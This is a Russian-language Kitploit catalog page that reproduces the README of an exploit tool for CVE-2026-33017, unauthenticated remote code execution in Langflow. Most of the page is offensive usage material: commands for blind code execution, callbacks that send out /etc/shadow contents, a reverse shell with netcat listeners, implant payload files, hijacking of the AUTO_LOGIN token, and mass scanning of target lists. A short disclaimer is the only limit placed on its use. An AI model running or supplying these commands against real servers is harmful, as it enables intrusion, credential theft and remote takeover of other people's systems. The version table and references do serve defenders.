Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33017-Exploit — Эксплойт для CVE-2026-33017 — неаутентифицированное удалённое выполнение кода (RCE) в Langflow <= 1.8.2 через exec() в конечной точке сборки flow | Kitploit
Инструменты/GitHubGitHub/oscar-mine/cve-2026-33017-exploit
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHuboscar-mine/cve-2026-33017-exploit

CVE-2026-33017-Exploit

Эксплойт для CVE-2026-33017 — неаутентифицированное удалённое выполнение кода (RCE) в Langflow <= 1.8.2 через exec() в конечной точке сборки flow

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
75 месяцев назадЕщё не проверено

CVE-2026-33017 - Langflow Неаутентифицированное удалённое выполнение кода

root@kitploit:~
        _____
       /     \
      | () () |
       \  ^  /
        |||||

exec() без аутентификации, без песочницы, без надежды.

Langflow <= 1.8.2 позволяет неаутентифицированное удалённое выполнение кода через конечную точку POST /api/v1/build_public_tmp/{flow_id}/flow. Данные потока, предоставленные атакующим и содержащие произвольный код Python в определениях узлов, передаются напрямую в exec() без какой-либо песочницы.

  • CVSS: 9.8 Критический
  • CWE: CWE-94 (Внедрение кода), CWE-306 (Отсутствие аутентификации)
  • Затронуто: Langflow <= 1.8.2 (включая 1.9.0-dev0 по dev11)
  • Исправлено: Langflow 1.9.0
  • CISA KEV: Добавлено 2026-03-25
  • Эксплуатируется в дикой природе: В течение 20 часов после раскрытия

Цепочка атаки

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow
  -> chat.py -> start_flow_build() -> build_graph_from_data()
  -> Graph.from_payload() -> loading.py -> eval.py create_class()
  -> validate.py prepare_global_scope() -> exec(compiled_code)
  -> произвольный код выполняется от имени серверного процесса. игра окончена.

Установка

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests

Использование

Разведка - проверка уязвимости цели

root@kitploit:~
python3 exploit.py --url http://target:7860 --check

Слепое выполнение команд

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id"

Эксфильтрация вывода через GET-обратный вызов (base64 в пути URL)

root@kitploit:~
# Терминал 1: запустить прослушиватель
python3 -m http.server 8080

# Терминал 2: запустить эксплойт
python3 exploit.py --url http://target:7860 --cmd "id" \
  --callback-get http://your-ip:8080

# Декодируйте base64 из журналов вашего прослушивателя:
echo "dWlkPTEwMDAo..." | base64 -d

Эксфильтрация вывода через POST-обратный вызов (сырой вывод в теле запроса)

root@kitploit:~
# Терминал 1: запустить прослушиватель
nc -l 8080

# Терминал 2: запустить эксплойт
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
  --callback-post http://your-ip:8080

# Сырой вывод попадает напрямую в тело POST-запроса - декодирование не требуется

Обратная оболочка

root@kitploit:~
# Терминал 1: запустить прослушиватель
nc -l 4444

# Терминал 2: запустить эксплойт
python3 exploit.py --url http://target:7860 --revshell your-ip 4444

Пользовательская полезная нагрузка на Python

root@kitploit:~
python3 exploit.py --url http://target:7860 --payload-file implant.py

Правила файла полезной нагрузки:

  • Код выполняется на уровне модуля через exec() внутри prepare_global_scope()
  • Необходимо использовать присваивания (например, _x = os.popen(...).read()), поскольку AST-фильтр выполняет только узлы Assign, FunctionDef, ClassDef
  • Блокирующие вызовы следует использовать с threading.Thread(daemon=True), чтобы не убивать асинхронный цикл событий

Автоповышение приватных потоков

Когда ПУБЛИЧНЫХ потоков не существует, но включён AUTO_LOGIN (по умолчанию во многих развёртываниях):

root@kitploit:~
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"

Это перехватывает токен AUTO_LOGIN, изменяет первый поток на ПУБЛИЧНЫЙ через PATCH, а затем эксплуатирует его.

Массовое сканирование

Сканирование нескольких целей из файла (только проверка уязвимости):

root@kitploit:~
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt

Формат targets.txt:

root@kitploit:~
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# комментарии игнорируются

Вывод показывает:

  • Определение версии (уязвимая / исправленная)
  • Статус AUTO_LOGIN (бесплатный токен = лёгкая эскалация)
  • Количество публичных потоков (готовы к немедленной эксплуатации)

Прокси через Burp

root@kitploit:~
python3 exploit.py --url http://target:7860 --cmd "id" \
  --proxy http://127.0.0.1:8080

Как это работает

  1. Проверка версии - опрашивает /api/v1/version для определения версии цели
  2. Обнаружение потоков - использует AUTO_LOGIN (если включён) для перечисления потоков и поиска ПУБЛИЧНЫХ
  3. Внедрение полезной нагрузки - создаёт минимальный граф потока с узлом CustomComponent, содержащим вредоносный код Python в поле code
  4. Выполнение кода - отправляет POST-запрос на /api/v1/build_public_tmp/{flow_id}/flow с созданным параметром data. Langflow компилирует граф, который вызывает create_class() -> prepare_global_scope() -> exec() для кода атакующего

Исправление в v1.9.0 полностью удаляет параметр data, заставляя конечную точку использовать только сохранённые данные потока из базы данных.

Анализ исправления

Ссылки

  • NVD - CVE-2026-33017
  • JFrog Research - анализ обхода исправления
  • Sysdig - эксплуатация за 20 часов
  • CISA KEV
  • Коммит с исправлением
  • GitHub Advisory: GHSA-rvqx-wpfh-mfx7

Отказ от ответственности

Этот инструмент предназначен только для авторизованных исследований в области безопасности. Используйте его только против систем, на тестирование которых у вас есть явное разрешение. Автор не несёт ответственности за неправомерное использование.

Скачать инструмент
ВерсияСтатус
<= 1.8.1Уязвимая
1.8.2Заявленное исправление в журнале изменений, но код так и не был изменён (подтверждено JFrog)
1.9.0-dev0 по dev11Всё ещё уязвимая
1.9.0Действительно исправлена - параметр data удалён из конечной точки